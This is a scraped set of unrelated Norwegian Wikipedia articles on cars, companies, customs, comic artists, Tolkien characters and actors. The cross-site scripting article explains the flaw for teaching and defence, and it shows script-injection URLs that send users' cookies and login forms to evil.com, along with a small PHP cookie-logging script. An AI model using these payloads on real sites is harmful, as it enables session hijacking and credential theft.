jkorsvik/nowiki_second_scrape_merged huggingface dataset:
BMW M5


== Versjoner av BMW M5 ==


=== E28 M5 (1985 - 1988) ===
ble det produsert 2241 eksemplarer.


=== E34 M5 (1989 - 1995) ===

E34 M5 ble produsert fra 1989 til 1995, mens i Nord-Amerika var M5 kun tilgjengelig i perioden 1991 til 1993. Bilen ble produsert av BMW M i Garching, Tyskland. Som den tidligere M5, var også denne håndbygd. Man tok utgangspunkt i chassiet til 535i som ble produsert ved BMWs fabrikk i Dingolfing. Produksjonen skjedde enten av en M-medarbeider alene eller av et team av M-medarbeidere og tok som regel to uker.
Motorvolumet var fra starten av en 3,6 liter (3535 cc) som hadde 235 kW (315 hk), mens bilene som ble solgt i Nord-Amerika og Sveits hadde 231 kW (310 hk) på grunn av annen type katalysator.
I 1991 byttet man motor til en 3,8 liter med 254 kW (340 hk), mens man i Nord-Amerika fortsatte med 3,6 literen. I 1991 kom også en stasjonsvognutgave av M5.


=== E39 M5 (1998 - 2003) ===

I motsetning til forgjengerne ble ikke E39 M5 håndlaget hos BMW M, men ble produsert side om side med den vanlige E39 ved fabrikken i Dingolfing, Tyskland.
Bilen ble introdusert våren 1998 ved bilmessen i Genève, Sveits og produksjonen startet i slutten av oktober samme år.
Totalt 20 482 E39 M5 ble produsert, fordelt på tre versjoner:

Europeisk høyrekjøringsversjon
Europeisk venstrekjøringsversjon
Nordamerikansk versjonMotoren var en V8 på 4998ccm på 294 kW (400 hk), mens Nord-Amerikaversjonen hadde 394 hestekrefter, 6 mindre enn Europaversjonen. Motoren var basert på BMWs M62-motor, og fikk navnet S62. 0 – 100 km/t på 5,3 sekunder. Toppfart var fra fabrikk elektronisk begrenset til 250 km/t, men ved å fjerne denne begrensningen var toppfarten 300 km/t.


=== E60 M5 (2005 - 2010) ===

E60 M5 ble introdusert i 2004 og har en 5,0 liters V10-motor på 373 kW (507 hk). Bilen har et chassis av aluminium og en 7-trinns girkasse. E60 M5 veier det samme som E39 M5, 1 800 kg.
M5 E60 ble levert standard med 19" hjul med dekkdimensjonene 255/40R19 foran og 285/35R19 bak. 0 – 100 km/t går på 4,7 sekunder, mens toppfarten er elektronisk begrenset til 250 km/t. Uten fartssperren ville bilen klart 330 km/t.


=== F10 M5 (2011 - 2017) ===

F10 M5 ble lansert i 2011. Motoren var en 4,4 liters V8 med dobbel turbo. Denne motoren gir 560 hestekrefter. Motoren var koblet til en 7-trinns dobbelclutchkasse som standard (en sekstrinns manuell girkasse var også tilgjengelig, men bare i Nord-Amerika). 0–100 går på 4,4 sekunder.


=== Konseptbiler ===
BMW GP3.10 Gas Powered


== Referanser ==


== Eksterne lenker ==
(en) BMW M5 – kategori av bilder, video eller lyd på Commons 
bmwM5.com
Forum om M5
Militær avdeling

En militær avdeling er en ensartet troppeenhet i et forsvarsvesen, bestående av soldater fra samme våpenart. Eksempler på avdelinger er infanteribataljoner, kavalerieskadroner og artilleribatterier. Flere avdelinger kan settes sammen til forband som brigader, divisjoner og korps.


== Hierarki ==
Ifølge standarden NATO APP-6A gjelder følgende avdelingshierarki i NATO:

bataljon (battalion) II
kompani/eskadron/batteri (company/squadron/battery) I
tropp (platoon) •••
gruppe (section) ••
lag (squad) •
patrulje (team/crew) ø
3M

3M Company (opprinnelig Minnesota Mining and Manufacturing Company) er et amerikansk verdensomspennende konsern som produserer over 55 000 forskjellige produkter, inkludert limbånd, sandpapir, laminat, elektroniske kretser og skjermer, og farmasøytiske produkter, men kanskje mest kjent for sin produksjon av  Post-it.
Selskapet ble grunnlagt i Two Harbors i Minnesota i 1902 og flyttet til Duluth i Minnesota før det til slutt etablerte sitt nåværende hovedkontor i Maplewood utenfor Saint Paul i 1910. Blant selskapets første oppfinnelser var vannsikkert sandpapir, maskeringstape, cellofantape (gjennomsiktig limbånd), lyddempende materialer og Post-it oppfunnet av 3M forsker Spencer Silver i 1968.


== Referanser ==


== Eksterne lenker ==
(en) Offisielt nettsted 
(en) 3M – kategori av bilder, video eller lyd på Commons
Håndkyss

Håndkyss er et kyss på en annen persons hånd. Det er et høflig ritual, en gestus for å hilse og vise respekt. Det initieres av kvinnen som holder ut sin høyre hånd med håndflaten nedover. Mannen som kysser, bukker mot den tilbudte hånden og rører den symbolsk med leppene, mens han lett holder hånden. I moderne tradisjon vil leppene normalt ikke faktisk berøre hånden. Gesten varer mindre enn et sekund.
En håndkyss kan gis av høflighet, underdanighet eller kjærlighet. Håndkysset av kjærlighet er mer enn en gest. Dersom en mann vil vise særlig respekt for en dame bøyer han kne for henne, før han kysser hånden respektfullt. I spesielt trafisjonssbundne samfunn eller familier er det fremdeles den normale form for frieri. 
I mange århundrer var håndkysset, spesielt i adelige og høyborgerlige kretser, den normale måte en mann hilste en dame på. Det ble regnet som ufint å avvise en tilbudt hånd. Kvinnen som tilbyr håndkysset bør være av samme eller høyere sosial stand enn mannen.
Tradisjonen har særlig holdt seg i Østerrike, hvor den ble pleiet langt inn i det tyvende århundre og fremdeles sees ved spesielle foranstaltninger, som ved operaballet i Wien og på danseskoler, samt i enkelte samfunnskretser. Også hilsenen Küss die Hand var vanlig i Østerrike opp til ganske nylig.
Håndkysset i sin moderne form oppstod ved det spanske hoff i det 17. eller 18. århundre, og ble alminnelig i den europeiske overklasse i det 18. og 19. århundre. Gestens opprinnelse var trolig et tegn på underdanighet fra mann til mann. Mannen ville vise sin underkastelse ved å kysse den dominante personens signetring, hans tegn på autoritet. Det ble senere normalt for fyrster å la sine undersåtter hilse dem ved å kysse deres ring. Denne skikken praktiseres fremdeles ved det pavelige hoff, og er den normale måte å hilse paven på.


== Eksterne lenker ==
(en) Hand-kissing – kategori av bilder, video eller lyd på Commons
Bertil Wilhelmsson

Bertil Wilhelmsson (født 11. november 1926, død 9. juli 1992) var en svensk tegneserietegner, den første som tegnet Fantomet på lisens i Sverige. Wilhelmsson begynte å tegne tegneserier i 1953, da som tusjer på serien Olli, som var laget av kameraten Nils Egerbrandt. Denne serien ble utgitt i bladet Tuff og Tuss fra Serieförlaget (senere Semic).
Rundt 1961, da den daværende tegneren av Fantomet-stripene, kom det svenske Fantomen-bladet i materialmangel, da nesten alt eksisterende Fantomet-materiale hadde vært publisert. Dermed fikk de i gang en egen produksjon av Fantomet på lisens, og Bertil Wilhelmsson ble deres første tegner. Wilhelmssons første historie, «Skatten i dödskallegrottan» ble utgitt i 1963. Den aller første historien i det norske Fantomet-bladet, «Dobbeltgjengerne», var tegnet og skrevet av Bertil Wilhelmsson.
I 1966 flyttet Wilhelmsson til Spania, og bodde der til slutten av 1970-tallet. I 1976 innledet han et samarbeid med Özcan Eralp på Fantomet-stripene, der Wilhelmsson tegnet skisser og Eralp tusjet. Wilhelmsson tegnet Fantomet fram til 1988.


== Referanser ==


== Kilder ==
«Fantomet presenterer: Bertil Wilhelmsson», skrevet av Ulf Granberg, i Det 21. Fantomet krøniker: 1964–1966. ISBN 82-429-2567-4
Bereg

Bereg var en mann i J.R.R. Tolkiens fiktive verden Midgard, og levde i det første tideverv. Han var sønn av Baranor og sønnesønn av Baran. Han var en av lederne av Bëors hus. Bereg var ikke fornøyd med Estolad (stedet hvor folket bodde), og ledet en del av folket bort på ukjente veier, og de forsvant fra historien og ble ikke sett igjen. Det er mulig at noen av deres etterkommere var forfedrene av de senere mennene i Eriador.
Wilson McCoy

Wilson McCoy (født 6. april 1902, død 20. juli 1961) var en USA-amerikansk tegneserietegner, mest kjent som tegner for Fantomet, over en periode på rundt 30 år. McCoy ble født i Troy, Missouri, og hadde seks søsken. Han kom inn i tegnerbransjen som løpegutt for et reklamebyrå i St. Louis, og studerte senere tegning og kunst ved Washington University Art School.
Rundt 1940 fikk McCoy jobb hos Ray Moore, daværende tegner av Fantomet-stripene, og var hans assistent fram til 1942, da Moore ble innkalt til krigstjeneste. Moore overtok igjen da han kom tilbake fra krigen, men han hadde fått en krigsskade som gjorde jobben vanskelig, og måtte snart gi opp. Først i 1949 ble McCoy kreditert for tegningen.
McCoy var på besøk i Norge i 1955. Han tok Hurtigruten oppover hele norskekysten, og gikk innom flere avisredaksjoner og lot seg intervjue, som «Fantomets far» (Romsdals Budstikke 28. mai 1955 har artikkeltittelen Fantomet «personlig» på Norges-besøk på forsiden).
Wilson McCoy ble smittet av en tropesykdom på en Afrika-reise i 1961, og legene tilbake på sykehuset i Chicago i USA klarte ikke å diagnostisere sykdommen, så han ble sendt hjem igjen. Han rakk så vidt å fullføre den siste dagsstripehistorien, «Varulvens skikkelse», før han døde den 20. juli.


== Referanser ==


== Kilder ==
«Fantomet presenterer: Wilson McCoy», skrevet av Kjell Steen, i Det 21. Fantomet krøniker: 1968. ISBN 82-429-2530-5
«Wilson McCoy» fra Fantomet.org
Boron

Boron var en mann i J.R.R. Tolkiens fiktive verden Midgard, som levde i Estolad, øst for Doriath, i det første tidevervet. Han var sønn av Baran, fra Bëors hus. Hans bror var Baranor. Han hadde en sønn ved navn Boromir.
Boromir (Bëors hus)

Boromir var en mann av Bëors hus i J.R.R. Tolkiens fiktive verden Midgard i det første tidevervet. Han var sønn av Boron, sønn av Baran. Boromir fikk landområdet Ladros i Dorthonion i len (til låns), og hans hus flyttet dit. Han hadde to barn: datteren Andreth og sønnen Bregor (som sener ble far til Bregolas og Barahir). Den senere Boromir av Gondor var oppkalt etter han.
Cross-site scripting

Cross-site scripting, ofte forkortet til XSS, er en teknikk som kan benyttes for å manipulere websider.
XSS-hull finnes i dynamiske webapplikasjoner der brukerdata uforsiktig printes tilbake til nettleseren. Årsaken til problemet er at programvareutvikleren ikke prosesserer brukerdata riktig. Skal brukerdata printes tilbake til nettleseren bør for eksempel html tagger fjernes. Det kan gjøres ved å konvertere krokodilletegnene < og > til &lt; og &gt; respektivt slik at nettleseren ikke lenger tolker de som html-tagger men rendrer tegnet visuelt isteden. I PHP kan det gjøres slik: htmlspecialchars($input);
Hackere kan utnytte XSS-hull og:

utføre phishing-angrep
stjele cookies (informasjonskapsler)Sjekkliste for å beskytte seg mot XSS er å filtrere all input fra brukeren,
det vil si HTTP POST, HTTP GET og HTTP COOKIES.
Eksemplene som er vist i denne artikkelen er forsøkt forenklet slik at også ikke-tekniske lesere kan sjekke om et nettsted har XSS-hull.


== Eksempel (ikke-teknisk) ==
Du har en gjestebok, og noen skriver inn følgende melding til deg:

Hei du! God jul <script>alert("XSS hull!")</script>
Hvis det kommer opp en meldingsboks når du leser gjesteboken så er den sårbar for XSS.
Hvis ikke, er brukerinput blitt filtrert før meldingen ble lagret (i en flatfil eller en database).


=== Eksempel på phishing-angrep (litt teknisk) ===
Ta følgende form som et eksempel.

<form action="login.php" method="post">
<input type="text" name="user><br />
<input type="password" name="pass"><br /><br />
<input type="submit" value="Logg inn">
</form>

Ved å forandre «login.php» til «http://evil.com/stjel.php» kan en hacker lagre alle brukernavn og passord som blir lagt inn. En avansert hacker kan automatisere scripet sitt slik at med en gang noen logger inn så blir passordet endret til noe annet.


=== Eksempel på phishing-angrep i URL (litt teknisk) ===
De fleste XSS-hull finner man når man endre på URL-er. Ta denne URL-en:

http://good.com/index.php?msg=Hei du". 

For å bruke eksempelet overfor til å utføre et phishing-angrep kunne man ha oppgitt følgende URL til offeret:

http://good.com/index.php?msg=Hei du<script>document.forms[0].action.value='http://evil.com/stjel.php'</script>


=== Eksempel på stjeling av cookies (litt teknisk) ===
Hvis en hacker vil stjele en annens cookies så kan han sende følgende URL til offeret:

http://good.com/index.php?msg=Hei du<script>document.location.href="http://evil.com/stjel.php?id="+document.cookie</script>

Idet offeret intetanende klikker på linken vil «stjel.php» kalles. Denne kan for eksempel se slik ut:

<?php
$cookies=$_GET['id'];
$fp=fopen("cookies.txt", "a");
fwrite($fp, "Nye cookies: $cookies \n");
?>

Hackeren kan så installere denne cookie-en i egen browser og vil da bli logget inn som offeret.


== Eksterne lenker ==
The Cross-Site Scripting (XSS) FAQ @CGISecurity
Cross-Site Scripting Info @Apache Software Foundation
Egil Johansen (fotballspiller)

Egil Flemming «Snapper'n» Johansen (født 30. april 1962 i Oslo) er en norsk tidligere fotballspiller. Johansen var kantspiller i Vålerenga på 1980-tallet, og blir av mange beskrevet som klubbens siste bohem. Han ble seriemester to ganger, og var med på å tape to cupfinaler. Han spilte også tolv landskamper, og scoret to landslagsmål.
«Snapper'n» startet fotballkarrieren i Bøler IF, og gikk til Vålerenga foran 1983-sesongen. Dette året endte med seriegull og tapt cupfinale mot Moss. Året etter scoret Johansen vinnermålet i sin landslagsdebut mot Island, og vant et nytt seriemesterskap med Vålerenga.
Johansen forlot Vålerenga etter endt 1987-sesong til fordel for ettårskontrakt med den daværende 3. divisjonsklubben Frigg. Vinteren tilbragte Johansen på utlån til den belgiske klubben Beveren fram til april. Han bidro til at klubben unngikk nedrykk etter en dårlig start på sesongen. Johansen markerte seg særlig da han scoret alle lagets tre mål i en hjemmeseier over Waregem 28. februar 1988. Johansen fikk 8 kamper fra start og én som innbytter under oppholdet hos Beveren.Han spilte to sesonger i Frigg, og deretter to sesonger for Vålerenga, før han trappet ned i moderklubben Bøler.
Kallenavnet «Snapper'n» stammer fra ungdomstida, da Johansen i tillegg til å spille fotball, også var ishockey-keeper.


== Spillerkarriere ==


== Referanser ==


== Eksterne lenker ==
(en) Egil Johansen – Olympedia 
(en) Egil Johansen – Sports-Reference (OL-resultater – arkivert) 
(en) Egil Johansen – national-football-teams.com 
(en) Egil Johansen – EU-Football.info 
(no) Egil Johansen – Norges Fotballforbund
Sy Barry

Seymour «Sy» Barry (født 12. mars 1928 på Manhattan, New York) er en amerikansk tegneserietegner. Han tegnet Fantomet-stripene i 33 år fra 1961 til 1994, og er den tegneren som har hatt mest innvirkning på serien.
Barry ble inspirert til å begynne med tegning av broren Dan (kjent blant annet for tegneserien Lyn Gordon), og han kom inn på den prestisjefulle New York School of Art and Design. Etter å ha tatt eksamen der, jobbet Barry for forlaget DC Comics, der han skisset, tusjet og fargela serier som Johnny Peril, Hopalong Cassidy og Johnny Thunder. Han hjalp også broren Dan på Lyn Gordon, og tegnet flere striper av denne serien, selv om disse er signert Dan Barry.
Barry begynte å tegne dagsstripene til Fantomet i 1961 etter Wilson McCoys plutselige dødsfall, og hans første historie var «Slavebyen Mucar». Barry forsøkte å etterligne McCoys enkle tegnestil i begynnelsen, men gikk snart over til sin egen stil, som senere er blitt Fantomet-seriens faste stil.
Barry fortalte på Norgesbesøk i 2001 at han umiddelbart gjorde flere endringer på Fantomet-figuren da han begynte å tegne serien. Blant annet flyttet han Hodeskalleringen fra høyre ringfinger til høyre langfinger – om den skulle sette merker på skurkenes haker, måtte den være der for at den skulle ha noen effekt. Han laget også en ny frakk til Mr. Walker, for den forrige «var fæl». Han gjorde også Ulv mer ulveaktig, så den ikke skulle kunne feiltas for en hund.
Sy Barry hadde ansvaret for Fantomet-stripene i 33 år, og da dette er en bransje med stramme deadlines, måtte han følgelig ha en del assistenter. Disse var imidlertid anonyme, men man vet om en del av dem. George Olesen ble etter Barrys pensjonering selv hovedtegner av Fantomet-stripene (sammen med Keith Williams). Bob Forgione har også vært assistent, og André LeBlanc ble også kjent etter å ha vært assistent for Barry.


== Referanser ==


== Kilder ==
«Fantomet presenterer: Sy Barry», skrevet av Kjell Steen, i Det 21. Fantomet krøniker: 1970-I. ISBN 82-429-2532-1
«Seymour Barry» fra Fantomet.org
Petter Fladeby

Petter Mads Fladeby (født 1. april 1961 i Danmark, nå norsk statsborger), er lyddesigner og lydmikser, og har bidratt i over 70 norske og utenlandske spillefilmer. 
Fladeby fikk Amandaprisen 2008 for beste lyddesign for O' Horten og 2015 for Børning.


== Eksterne lenker ==
(en) Petter Fladeby på Internet Movie Database 
(da) Petter Fladeby på Filmdatabasen 
(en) Petter Fladeby hos The Movie Database
Naomi Watts

Naomi Ellen Watts (født 28. september 1968 i Shoreham i Kent i Storbritannia) er en engelsk skuespillerinne og filmprodusent.
Watts ble født i England, der hun bodde til hun var åtte år gammel. Foreldrene hennes, Peter og Myfanwy Watts, skilte seg fra hverandre da hun var fire år gammel. Naomis far var en audioingeniør som jobbet med Pink Floyd, mens moren hennes ble beskrevet av Watts som «en hippie med passiv-aggressive tendenser». Da Watts var syv år gammel, døde faren hennes. Etter den triste hendelsen lette moren etter farens familie, og fant noen familiemedlemmer i Llangefni (mer nøyaktig: Llanfawr Farm), i det nordlige Wales. De flyttet dit, og bodde der med Naomis besteforeldre, Hugh og Nikki Roberts. Selv om moren flyttet hit og dit, mest for å flytte sammen med nye kjærester, endte Naomi alltid opp med å flytte tilbake til Llangefni. Der bodde hun til hun var 14 år.
Under en reise til Australia ble moren overbevist om at det var «utfordringenes land» og flyttet hele familien til Sydney. Naomis bestemor, Nikki, var australsk, noe som gjorde det enklere å få i orden de nødvendige dokumentene, da Nikki hadde australsk statsborgerskap.
I Sydney begynte Naomi Watts på flere forskjellige skuespillerskoler (og på den første skolen møtte hun Nicole Kidman). I 1986, da hun var 18 år, tok hun en pause fra skuespilleryrket og dro til Japan for å jobbe som modell, men erfaringen hun fikk, bar ingen frukter. Naomi beskriver den perioden som en av de verste i livet hennes; denne perioden varte i cirka fire måneder. Da hun returnerte til Australia, begynte hun å jobbe for en lokal butikk. Der begynte hun å jobbe som assisterende designer med en australsk motemagasin. Naomi gikk tilbake til skuespilleryrket bare fordi en kollega inviterte henne til å delta i et lite skuespill – og da oppdaget hun sin forkjærlighet for skuespillere og skuespilleryrket at hun sluttet i sin jobb og dedikerte hele sitt liv til å bli en skuespiller.I 2001 var Watts med i David Lynchs psykologiske thriller Mulholland Drive, til tross for at Lynch ikke hadde sett noe av arbeidet hennes. Hun fikk svært mye ros for rolleskildringen i filmen. Filmen regnes ofte som startskuddet til Naomis karrière. Hun var med i den høyst suksessfulle, amerikanske nyinnspillingen av The Ring, en japansk skrekkfilm. I 2004 fikk hun en Oscarnominasjon for beste kvinnelige hovedrolle for innsatsen i Alejandro González Iñárritus dramafilm 21 gram. Hun gjentok denne bragden i 2013 for prestasjonen sin i dramafilmen The Impossible, som var basert på tsunamien som traff Thailand i 2004.


== Filmografi ==


=== Film ===


=== Fjernsyn ===


== Referanser ==


== Eksterne lenker ==
(en) Naomi Watts – kategori av bilder, video eller lyd på Commons 
(en) Naomi Watts – galleri av bilder, video eller lyd på Commons 
(en) Naomi Watts på Internet Movie Database 
(no) Naomi Watts hos Filmfront 
(sv) Naomi Watts i Svensk Filmdatabas 
(da) Naomi Watts på Filmdatabasen 
(da) Naomi Watts på Scope 
(fr) Naomi Watts på Allociné 
(en) Naomi Watts på AllMovie 
(en) Naomi Watts hos Turner Classic Movies 
(en) Naomi Watts hos Rotten Tomatoes 
(en) Naomi Watts hos The Movie Database
Juliane Köhler

Juliane Köhler (født 6. august 1965 i Göttingen) er en tysk skuespillerinne.
Hun er datter av en dukketeaterskuespiller, og studerte skuespill fra 1985 til 1988 under Uta Hagen samt i New York. Fra 1988 har hun hatt teaterroller i Tyskland.
På begynnelsen av 1990-tallet begynte hun å få filmroller, og fikk sitt gjennombrudd med to produksjoner i 1999: Aimée und Jaguar og Pünktchen und Anton, og fikk samme år Sølvbjørnen ved filmfestivalen i Berlin som «beste skuespillerinne». I 2001 spilte hun «Jettel Redlich» i Caroline Links Oscarbelønnede drama Nirgendwo in Afrika. Hun hadde i 2004 rollen som Eva Braun i Der Untergang og i 2012 rollen som Katrine i To liv. I norsk film hadde hun i 2016 i Kongens nei rollen som Diana Müller. 


== Referanser ==


== Eksterne lenker ==
(en) Juliane Köhler – kategori av bilder, video eller lyd på Commons 
(en) Juliane Köhler på Internet Movie Database 
(sv) Juliane Köhler i Svensk Filmdatabas 
(da) Juliane Köhler på Filmdatabasen 
(da) Juliane Köhler på Scope 
(fr) Juliane Köhler på Allociné 
(en) Juliane Köhler på AllMovie 
(en) Juliane Köhler hos The Movie Database 
(en) Juliane Köhler på Discogs 
(en) Juliane Köhler på MusicBrainz 
(de) Verk av og om Juliane Köhler i katalogen til det tyske nasjonalbiblioteket
Merab Ninidse

Merab Ninidse (født 3. november 1965 i Tbilisi) er en georgisk skuespiller. Siden 1994 har han bodd i Østerrike, og han har spilt i en rekke tyskspråklige filmer og fjernsynsproduksjoner. Bl.a. spilte han «Walter Redlich» i den Oscarbelønnede filmen Ingensteds i Afrika.


== Filmografi ==
2004 Die Kirschenkönigin, fjernsynsfilm
2004 Sterne leuchten auch am Tag, fjernsynsfilm
2004 Das Bernsteinamulett, fjernsynsfilm
2004 Cattolica
2002 Verlorenes Land
2001 Ingensteds i Afrika (Nirgendwo in Afrika)
2000 England
1999 Luna Papa
1994 Hasenjagd
1993 Halbe Welt
1984 Die ReueHan har også opptrådt i seriene

Tatort (München) – Sechs zum Essen
Bella Block – Im Namen der Ehre
Kommissar REX – Priester in Gefahr


== Referanser ==


== Eksterne lenker ==
Offisielt nettsted 
(en) Merab Ninidze – kategori av bilder, video eller lyd på Commons 
(en) Merab Ninidse på Internet Movie Database 
(sv) Merab Ninidse i Svensk Filmdatabas 
(da) Merab Ninidse på Filmdatabasen 
(da) Merab Ninidse på Scope 
(fr) Merab Ninidse på Allociné 
(en) Merab Ninidse på AllMovie 
(en) Merab Ninidse hos The Movie Database 
Utførlig biografi
Intervju med Merab Ninidse